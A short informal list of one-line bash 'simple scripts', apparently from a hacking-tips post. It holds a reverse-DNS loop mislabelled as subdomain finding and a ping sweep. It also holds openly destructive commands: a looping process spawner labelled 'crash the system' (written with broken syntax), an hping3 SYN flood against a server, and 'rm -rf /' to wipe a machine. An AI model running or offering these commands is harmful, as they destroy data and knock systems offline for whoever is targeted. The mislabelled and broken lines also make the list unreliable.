Simple scripts:

Finding subdomains:

for i in {1..255..1};do host 8.8.8.$i|grep -v not\ found;done

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decuct is ip up:

for i in {1..255..1};do ping 192.168.43.$i|grep bytes;done

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crash the system:

while true;do while true;do done;&;done

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Syn flood against server with hping3:

hping3 -S --flood x.x.x.x -p 80

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destroy box , rm all files:

rm -rf /

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Thanks!